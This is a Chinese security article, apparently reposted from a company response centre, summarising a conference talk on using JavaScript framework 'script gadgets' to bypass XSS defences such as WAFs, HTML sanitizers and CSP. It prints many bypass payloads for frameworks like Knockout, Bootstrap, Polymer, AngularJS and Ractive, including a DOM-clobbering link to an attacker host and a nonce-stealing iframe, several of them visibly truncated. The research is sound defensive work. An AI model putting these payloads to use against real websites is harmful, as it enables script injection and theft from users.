通过脚本片段绕过XSS防御

Posted 2021-04-29 计算机与网络安全

信息安全公益宣传，信息安全知识启蒙。

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从恶作剧弹框到盲打后台乃至沦陷一个企业，XSS的危害可大可小，近年来，XSS攻击与防御的博弈持续不断，下面是今年5月份北爱尔兰首府举行的OWASP AppSec EU的安全议题：通过脚本片段绕过XSS防御。

一、XSS 防御措施

尽管业界付出了很多努力，XSS依然是一个广泛且未解决的问题。有数据指出：谷歌VRP中70%的漏洞是XSS漏洞。

XSS防御技术的通用假设为：XSS将会永远存在，我们应把重点放在XSS防御上。

防御措施主要是阻止以下类型的XSS攻击：

具体可分为：

1、WAF, XSS filters

阻断包含危险标签和属性的请求。

2、html净化

从HTML中移除危险的标签和属性。

3、内容安全策略CSP

区分合法的和非法注入的JS代码

二、使用JS框架

防御手段认为封锁危险的标签和属性可以阻止XSS攻击，那么当前流行的JS框架来构建一个应用程序时，这种手段是否还可行？

首先提及选择器，javascript通过选择器与DOM进行交互：

＜myTagid="someId" class="class1”data-foo="bar"＞ ＜/myTag＞

＜script＞

tags =querySelectorAll("myTag"); // by tag name

tags = querySelectorAll("#someId");// by id

tags =querySelectorAll(".class1"); // by class name

tags =querySelectorAll("[data-foo]"); // by attribute name

tags =querySelectorAll("[data-foo^=bar]"); // by attribute value

＜/script＞

 

在JS框架中，选择器是所有JavaScript框架和库的基本元素。例如：

jQuery因它的$函数而闻名：

$(' ＜jqueryselector＞').append('some text to append');

Bootstrap框架为其API使用data-attributes：

＜div data-toggle=tooltip title='I am atooltip!'＞some text ＜/div＞

具体来看选择器的一些案例

＜div data-role="button"data-text="I am a button"＞ ＜/div＞

＜script＞

var buttons =$("[data-role=button]");

buttons.attr("style","...");

// [...]

buttons.html(button.getAttribute("data-text"));

＜/script＞

以上的代码是否存在安全问题？

尝试XSS攻击

XSS BEGINS HERE

＜div data-role="button"data-text=" ＜script＞ ＜/script＞"＞ ＜/div＞

XSS ENDS HERE

＜div data-role="button"data-text="I am a button"＞ ＜/div＞

＜script＞

var buttons =$("[data-role=button]");

buttons.attr("style","...");

// [...]

buttons.html(button.getAttribute("data-text"));

＜/script＞

即使使用了良好的标记/属性，也不能信任DOM。合法的代码把它们变成了JS，绕过了防御手段。

三、脚本片段

一个脚本片段是指一段可以触发HTML注入的合法JavaScript代码。

1. 背景调查

我们调查了16种现在流行的JavaScript框架和函数库：MVC框架，模板系统，UI组件库，工具集；基于受欢迎程度列表、StackOverflow问题和实际使用统计的策略选择。以下为我们调查的框架：

Angular (1.x), Polymer (1.x), React, jQuery,jQuery UI, jQuery Mobile, Vue, Aurelia,Underscore / Backbone, Knockout, Ember,Closure Library, Ractive.js, Dojo Toolkit,RequireJS, Bootstrap

A. 我们用每种相同的框架构建简单的应用；

B. 我们在框架中添加XSS缺陷；

C. 我们设置了各种XSS防御手段：

a) CSP - 基于白名单，基于nonce的，不安全的eval，严格的动态；

b) XSS filters - Chrome XSSAuditor，Edge，NoScript

c) HTML净化 - DOMPurify，Closure HTML sanitizer

d) WAFs - ModSecurity w/CRS

D.  我们手工分析这些框架的代码， 然后开始使用脚本片段撰写绕过方式。

2、优先看看结果

我们绕过了每一个测试案例的防御。 我们有pocs！绕过16种流行库的防御XSS的姿势集合：

Content  Security Policy				WAF
白名单	随机数	不安全的eval	受限的动态脚本	ModSecurity  CRS
3  /16	4  /16	10  /16	13  /16	9 /16

XSS 过滤器				净化器
Chrome	Edge	NoScript	DOMPurify	Closure
13  /16	9  /16	9  /16	9  /16	6  /16

3、脚本片段举例

querySelector(),getElementById(), …

innerHTML =foo, …

createElement(‘script’), createElement(foo)

obj[foo] =bar, foo = foo[bar]

function(),callback.apply(), ...

这样的代码片段在JS框架/库中似乎是良性且常见的。

四、更多花样

更有趣的是，我们可以串联多个脚本片段以触发任意JS代码执行。

例如Knockout

＜div data-bind="value:'hello world'"＞＜/div＞

浏览器不会将其解释为JavaScript。Knockout使用以下语句与之交互：

switch (node.nodeType) {

        case 1: return node.getAttribute(“data-bind”);

var rewrittenBindings =ko.expressionRewriting.preProcessBindings(bindingsString, options),

        functionBody = "with($context){with($data||{}){return{" +rewrittenBindings + "}}}";

return new Function("$context","$element", functionBody);

return bindingFunction(bindingContext,node);

 Knockout创建一个属性值---＞函数调用链：

＜div data-bind="foo: "＞ ＜/div＞

有效载荷包含在数据属性值中，在DOMPurify、 XSS filters、ModSecurity CRS中均能绕过。

＜div data-bind="html:'hello ＜b＞world ＜/b＞'"＞ ＜/div＞

Knockout代码处理DOM中的数据：

ko.bindingHandlers['html'] = {

'update': function (element, valueAccessor){

                   ko.utils.setHtml(element, valueAccessor());}};

ko.utils.setHtml = function(node, html) {

if (jQueryInstance)

jQueryInstance(node)['html'](node);};

function DOM { // JQuery 3

var script = doc.createElement("script" );

script.text = code;

doc.head.appendChild( script).parentNode.removeChild( script );

属性值 =＞ createElement(‘script’) 链

严格的动态CSP将信任传递给编程创建的脚本，绕过严格的CSP：

＜div data-bind="html:' ＜script ＞ ＜/script＞'"＞  ＜/div＞

使用Bootstrap绕过严格的CSP策略：

＜div data-toggle=tooltip data-html=true title='＜script＞ ＜/script＞'＞ ＜/div＞

使用jQuery Mobile绕过净化器：

＜div data-role=popup id='--＞ ＜script＞ ＜/script＞'＞＜/div＞

使用Closure (DOM clobbering)绕过NoScript：

＜a id=CLOSURE_BASE_PATHhref=http://attacker/xss＞ ＜/a＞

使用Dojo工具包绕过ModSecurityCRS：

＜div data-dojo-type="dijit/Declaration"data-dojo-props="}--{"＞

使用下划线模板绕过CSPunsafe-eval：

＜div type=underscore/template ＞ ＜% %＞ ＜/div＞

五、表达式解析器中的脚本片段

一些常见框架：Aurelia, Angular, Polymer, Ractive, Vue

A. 上面的框架使用非基于eval的表达式解析器

B.  他们自行标记，解析和评估表达式

C.  表达式被“编译”到Javascript

D.  在评估（例如绑定解析）期间，此被解析的代码运行于：DOM 元素和属性、本地对象和数组等

用足够复杂的表达式语言，我们可以运行任意JS代码。.

例如绕过AngularJS沙箱

示例：Aurelia - 属性遍历小片段

＜td＞  ${customer.name}   ＜/td＞

if (this.optional('.')) {

        // ...

        result = new AccessMember(result, name);}

AccessMember.prototype.evaluate =function(...) { // ...

        return /* … *./ instance[this.name];

};

Aurelia – 函数调用小片段

＜button foo.call="sayHello()"＞

Say Hello!

＜/button＞

if (this.optional('(')) {

// ...

result = new CallMember(result, name,args);}

CallMember.prototype.evaluate =function(...) { // ...

        return func.apply(instance, args);

};

如何触发?

从节点到窗口、获取弹窗[“alert”]、用受控参数执行功能：

＜div ref=mes.bind="$this.me.ownerdefaultView."＞ ＜/div＞

这种方法可绕过所有已测试过的防御措施，甚至是基于白名单和随机数的CSP。

再来几个示例：

1 使用Polymer 1.x绕过白名单/随机数CSP 

＜template is=dom-bind＞ ＜div

        c={{}}

        b={{set('_rootDataHost',ownerdefaultView)}}＞

＜/div＞ ＜/template＞

2 使用 AngularJS 1.6+绕过白名单/随机数CSP 

＜div ng-app ng-cspng-focus="x=$event.view.window;x."＞

通过这些小片段，我们可以创建更精细的连锁反应。

3  在Polymer 1.x  创建新的脚本元素

＜template is=dom-bind＞ ＜div

        five={{insert(me._nodes.0.scriptprop)}}

        four="{{set('insert',me.root.ownerbody.appendChild)}}"

        three="{{set('me',nextSibling.previousSibling)}}"

        two={{set('_nodes.0.scriptprop.src','data:\,')}}

        scriptprop={{_factory()}}

        one={{set('_factoryArgs.0','script')}} ＞

＜/template＞

4  使用Ractive窃取CSP随机数

＜script id="template"type="text/ractive"＞

        ＜iframe srcdoc="

                  ＜script nonce={{@global.currentScript.nonce}}＞

                  

                  ＜/{{}}script＞"＞

        ＜/iframe＞

＜/script＞

六、结论

1、防御措施往往通过过滤特定的标签或者属性来封锁XSS攻击载荷

2、目前很多JS框架都没有对集成的脚本片段进行过滤

3、我们可以插入集成的脚本片段进行XSS攻击而非简单的小脚本块来绕过各种防御

4、我们可以通过触发HTML注入来引发XSS攻击从而绕过XSS防御。

5、更多测试的PoCs 详见 https://github.com/google/security-research-pocs

来源：顺丰安全应急响应中心